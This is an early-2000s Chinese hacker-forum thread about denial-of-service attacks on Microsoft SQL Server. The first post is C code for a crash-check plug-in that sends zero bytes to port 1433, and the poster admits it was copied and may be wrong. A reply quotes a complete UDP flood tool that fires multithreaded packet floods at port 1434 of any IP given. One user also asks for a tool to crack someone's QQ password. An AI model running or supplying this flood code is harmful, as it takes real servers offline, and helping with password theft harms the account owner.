>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  检测SQL Server的DDOS不完全代码
发表文章 发表涂鸦
  回复数:18  点击数:263 将此页发给您的朋友        
作者 主题: 检测SQL Server的DDOS不完全代码 ( 页: 1 2 ) 回复 | 收藏 | 打印 | 篇末
MIXTER帅哥哦
级别:长 老 级
威望:0
经验:0
货币:2007
体力:78.6
来源:61.147.217.*
总发帖数:529
注册日期:2001-08-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

SQL Server通信端口为1433,程序首先与SQL Server建立TCP连接并判断连接;然后向服务器发送连续字节的0并关闭连接,等待数秒后,再次试图与服务器建立连接,如果失败则表明服务器已发生拒绝服务故障。

code:


extern "C" __declspec( dllexport ) BOOL InitFunc(struct RECORD *record)

{ strcpy(record->advice,"过滤发向端口1433的数据包。"); //建议

strcpy(record->classname,"DDoS"); //类型

strcpy(record->description,"SQL server接收连续0信号TCP包时被非法关闭");

strcpy(record->filename,"mssqlserver_dos.nfs");

strcpy(record->ID,"6XX"); //编号

strcpy(record->membername,"mssqlserver_dos");

strcpy(record->risk,"严重"); //等级

record->mark=true;

return true;}

extern "C" __declspec( dllexport ) BOOL ApplFunc(struct HOST *host)

{ struct sockaddr_in sad; //structure to hold server's address

struct hostent *ptrh; //pointer to host entry

SOCKET sd; char buf[6]; memset(buf,0,6);

memset((char *)&sad,0,sizeof(sad)); //clear sockaddr structure

ptrh=NULL;

sad.sin_port=htons(1433); // SQL通信端口号1433

sad.sin_addr.s_addr=inet_addr(host->ip);

sad.sin_family=AF_INET;

sd=socket(PF_INET,SOCK_STREAM,0); // TCP连接

if (sd<0) {return FALSE;}

if (connect(sd,(struct sockaddr *)&sad,sizeof(sad))<0)

{closesocket(sd); return FALSE;}

buf[0]=0x00; buf[1]=0x00; buf[2]=0x00;

buf[3]=0x00; buf[4]=0x00; buf[5]=0x00;

send(sd,buf,sizeof(buf),0);

closesocket(sd); Sleep(2000); //等待

sd=socket(PF_INET,SOCK_STREAM,0); //再次建立连接

if (sd<0) {return FALSE;}

if (connect(sd,(struct sockaddr *)&sad,sizeof(sad))<0)

{closesocket(sd); return true; }//连接失败,则发生拒绝服务

closesocket(sd); return FALSE;}





[ 此消息由 MIXTER 在 2002-08-11.11:06:42 编辑过 ]

编辑 删除 发表时间发表于 2002-08-11.11:05:45   MSIE 5.0 Windows 98IP: 已记录
MIXTER帅哥哦
级别:长 老 级
威望:0
经验:0
货币:2007
体力:78.6
来源:61.147.217.*
总发帖数:529
注册日期:2001-08-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

仅供参考

编辑 删除 发表时间发表于 2002-08-11.11:07:05   MSIE 5.0 Windows 98IP: 已记录
MIXTER帅哥哦
级别:长 老 级
威望:0
经验:0
货币:2007
体力:78.6
来源:61.147.217.*
总发帖数:529
注册日期:2001-08-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

顶!!

编辑 删除 发表时间发表于 2002-08-11.11:13:44   MSIE 5.0 Windows 98IP: 已记录
kof2000帅哥哦
级别:光明使者
威望:0
经验:4
货币:5223
体力:98
来源:VisualStudio
总发帖数:2018
注册日期:2002-03-06
查看 邮件 主页 QQ 消息 引用 复制 下载 

XFOCUS.NET好想有,我看不恨明白。。
----------------------------------------------------------
VB/C/C++,网络安全技术...

编辑 删除 发表时间发表于 2002-08-11.11:25:43   MSIE 5.0 Windows 98IP: 已记录
sp帅哥哦
级别:中级站友
威望:0
经验:0
货币:164
体力:6.3
来源:211.90.54.*
总发帖数:44
注册日期:2002-04-07
查看 邮件 主页 QQ 消息 引用 复制 下载 

哥哥
有没有好的本地破解QQ密码的啊?最好有连接
我很想加一个人,可他把我加入了黑名单,能回复我吗??

编辑 删除 发表时间发表于 2002-08-11.11:29:07   MSIE 5.0 Windows 98IP: 已记录
MIXTER帅哥哦
级别:长 老 级
威望:0
经验:0
货币:2007
体力:78.6
来源:61.147.217.*
总发帖数:529
注册日期:2001-08-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

那个地方我没进
我是看到的PCFRIEND上的

编辑 删除 发表时间发表于 2002-08-11.12:25:42   MSIE 5.0 Windows 98IP: 已记录
MIXTER帅哥哦
级别:长 老 级
威望:0
经验:0
货币:2007
体力:78.6
来源:61.147.217.*
总发帖数:529
注册日期:2001-08-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

代码绝对有误
我也是抄来的
SQL Server1433
如果TCP连接被接受
但是数据包被截的话就完了
情况就不通了
所以我觉得这个代码的情况是没有FIREWALL

编辑 删除 发表时间发表于 2002-08-11.12:30:31   MSIE 5.0 Windows 98IP: 已记录
kof2000帅哥哦
级别:光明使者
威望:0
经验:4
货币:5223
体力:98
来源:VisualStudio
总发帖数:2018
注册日期:2002-03-06
查看 邮件 主页 QQ 消息 引用 复制 下载 

我看的是这个。。 呵呵~~
----------------------
漏洞描述:
由于SQL Server对1434端口的UDP没有限制,构造特殊的UDP包,SQL Server就一定会作出回应。如果收到大量的这些UDP包,SQL Server将消耗CPU,来处理这些UDP回应,虽然这不能造成主机当机等严重影响,但是CPU使用率将很容易达到100%,从而造成数据库服务器负荷加重,对其他服务(比如WEB)能造成拒绝服务。同时,恶意攻击者只需要对SQL Server发送一个1个字节的UDP数据,SQL Server将到处发送自己的数据库服务器信息。

解决办法:
暂时没有


测试程序:

// SQLDOS.cpp
//

////////////////////////////////////////////////////////////
//             
// SQLDOS by refdom
//
// Author: refdom.
// Email: refdom@263.net
//
////////////////////////////////////////////////////////////

#include "stdafx.h"
#include <string.h>
#include <stdio.h>

void sendudp (void* v)
{
int i;
char buf[1]={'\x02'};
SOCKADDR_IN addr_in;
char *targetip;
targetip=(char*)v;

SOCKET sock;

if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}

const int SNDBUF = 0;
const int TCPNODELAY = true;
const int BROADCAST = true;

if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
{
printf("Set SO_SNDBUF failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
{
printf("Set TCP_NODELAY failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
{
printf("Set SO_BROADCAST failed.Error:%d",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(targetip);

for (i=1;i<50000;i++)
//发送50000次请求
{
if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
}
closesocket(sock);
}

void useage()
{
printf("******************************************\n");
printf("SQLDOS\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom@263.net\n");
printf("Useage: SQLDOS.exe target_ip \n");
printf("*******************************************\n");
}

int main(int argc, char* argv[])
{
WSADATA WSAData;
int i;
useage();
if (argc<2)
{
return false;
}

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return false;
}
printf("SQLDOS start...");

for (i=1;i<=50;i++)
{
_beginthread(sendudp, 0, (void*)argv[1]);
}

Sleep(500000);
WSACleanup();
printf("SQLDOS Complete.\n");
return 0;
}
----------------------------------------------------------
VB/C/C++,网络安全技术...

编辑 删除 发表时间发表于 2002-08-11.15:27:07   MSIE 5.0 Windows 98IP: 已记录
黑玉面飞狐黑帅哥哦
级别:高级站友
威望:0
经验:0
货币:431
体力:41.2
来源:tiantang
总发帖数:108
注册日期:2002-07-30
查看 邮件 主页 QQ 消息 引用 复制 下载 

这个东东是你写的?有机会可要帮帮我,vc我们正开着呢
----------------------------------------------------------
网上无难事

编辑 删除 发表时间发表于 2002-08-11.16:50:59   MSIE 6.0 Windows 2000IP: 已记录
怀念美女哟
级别:圣骑士
威望:0
经验:15
货币:758
体力:97
来源:辽宁
总发帖数:96
注册日期:2002-05-10
查看 邮件 主页 QQ 消息 引用 复制 下载 

不错不错,味道好极了!用咱们行话是VERY GOOD!
----------------------------------------------------------
[img][/img]screen.width-366)this.width=screen.width-366">

编辑 删除 发表时间发表于 2002-08-11.19:42:48   MSIE 6.0 Windows 98IP: 已记录
kof2000帅哥哦
级别:光明使者
威望:0
经验:4
货币:5223
体力:98
来源:VisualStudio
总发帖数:2018
注册日期:2002-03-06
查看 邮件 主页 QQ 消息 引用 复制 下载 

都说了,是 XFOCUS。NET的, 不是我写的。。
----------------------------------------------------------
VB/C/C++,网络安全技术...

编辑 删除 发表时间发表于 2002-08-11.20:20:29   MSIE 5.0 Windows 98IP: 已记录
MIXTER帅哥哦
级别:长 老 级
威望:0
经验:0
货币:2007
体力:78.6
来源:61.147.218.*
总发帖数:529
注册日期:2001-08-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

我那个是
PCFRIEND的

编辑 删除 发表时间发表于 2002-08-11.20:57:49   MSIE 5.0 Windows 98IP: 已记录
qez1帅哥哦
级别:侠客
威望:0
经验:7
货币:67
体力:100
来源:河北
总发帖数:113
注册日期:2002-07-25
查看 邮件 主页 QQ 消息 引用 复制 下载 

很好吗
----------------------------------------------------------
幻蓝

编辑 删除 发表时间发表于 2002-08-14.14:11:26   MSIE 6.0 Windows 98IP: 已记录
神仙姐姐美女哟
级别:风云使者
威望:0
经验:9
货币:3051
体力:32
来源:紫禁城
总发帖数:1081
注册日期:2002-01-28
查看 邮件 主页 QQ 消息 引用 复制 下载 

两位程序员什么时候教教我编程。(看不懂啊)
----------------------------------------------------------
淡泊明志,宁静至远;请别害我,我是好人!

编辑 删除 发表时间发表于 2002-08-14.14:44:16   MSIE 5.0 Windows 98IP: 已记录
kof2000帅哥哦
级别:光明使者
威望:0
经验:4
货币:5223
体力:98
来源:VisualStudio
总发帖数:2018
注册日期:2002-03-06
查看 邮件 主页 QQ 消息 引用 复制 下载 

呵呵~~ 我不是程序员,还在读书,不过学的是计算机专业

大家一起进步。
----------------------------------------------------------
VB/C/C++,网络安全技术...

编辑 删除 发表时间发表于 2002-08-14.20:33:23   MSIE 5.0 Windows 98IP: 已记录
MIXTER帅哥哦
级别:长 老 级
威望:0
经验:0
货币:2007
体力:78.6
来源:61.147.217.*
总发帖数:529
注册日期:2001-08-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

我还只是个高中生
555555~~~~~~~~~~

编辑 删除 发表时间发表于 2002-08-15.11:14:38   MSIE 5.0 Windows 98IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP [第 1 2 页]
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题